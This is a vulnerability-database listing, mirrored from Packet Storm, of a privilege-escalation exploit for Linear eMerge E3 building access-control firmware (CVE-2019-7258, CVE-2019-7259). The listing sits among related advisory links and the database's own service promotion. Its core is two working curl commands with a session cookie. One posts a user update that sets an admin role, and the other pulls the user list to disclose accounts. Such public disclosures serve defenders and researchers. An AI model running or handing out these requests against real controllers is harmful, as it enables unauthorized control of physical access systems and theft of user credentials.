Lucene search
K

Linear eMerge E3 1.00-06 Privilege Escalation

🗓️ 12 Nov 2019 00:00:00Reported by LiquidWormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 84 Views

Linear eMerge E3 1.00-06 Privilege Escalation CVE-2019-7258, CVE-2019-725

Related
Code
ReporterTitlePublishedViews
Family
0day.today
eMerge E3 1.00-06 - Privilege Escalation Vulnerability
12 Nov 201900:00
zdt
CNVD
Nortek Security & Control Linear eMerge E3-Series License Issue Vulnerability
3 Jul 201900:00
cnvd
CNVD
Nortek Security & Control Linear eMerge E3-Series Privilege Permission and Access Control Issues Vulnerability
3 Jul 201900:00
cnvd
CVE
CVE-2019-7258
2 Jul 201918:03
cve
CVE
CVE-2019-7259
2 Jul 201917:09
cve
Cvelist
CVE-2019-7258
2 Jul 201918:03
cvelist
Cvelist
CVE-2019-7259
2 Jul 201917:09
cvelist
Exploit DB
eMerge E3 1.00-06 - Privilege Escalation
12 Nov 201900:00
exploitdb
EUVD
EUVD-2019-16802
7 Oct 202500:30
euvd
EUVD
EUVD-2019-16803
7 Oct 202500:30
euvd
Rows per page
`  
Linear eMerge E3 Privilege Escalation  
Affected version: <=1.00-06  
CVE: CVE-2019-7258, CVE-2019-7259  
Advisory: https://applied-risk.com/resources/ar-2019-005  
  
by Gjoko 'LiquidWorm' Krstic  
  
  
Escalate:  
  
curl "http://192.168.1.2/?c=webuser&m=update" -X POST –-data "No=3&ID=test&Password=test&Name=test&UserRole=1&Language=en&DefaultPage=sitemap&DefaultFloorNo=1&DefaultFloorState=1&AutoDisconnectTime=24" -H "Cookie: PHPSESSID=d3dda96fc70846b2a7895ffa5ee9aa54; last_floor=1  
  
  
Disclose:  
curl "http://192.168.1.2/?c=webuser&m=select&p=&f=&w=&v=1" -H "Cookie: PHPSESSID=d3dda96fc70846b2a7895ffa5ee9aa54; last_floor=1  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation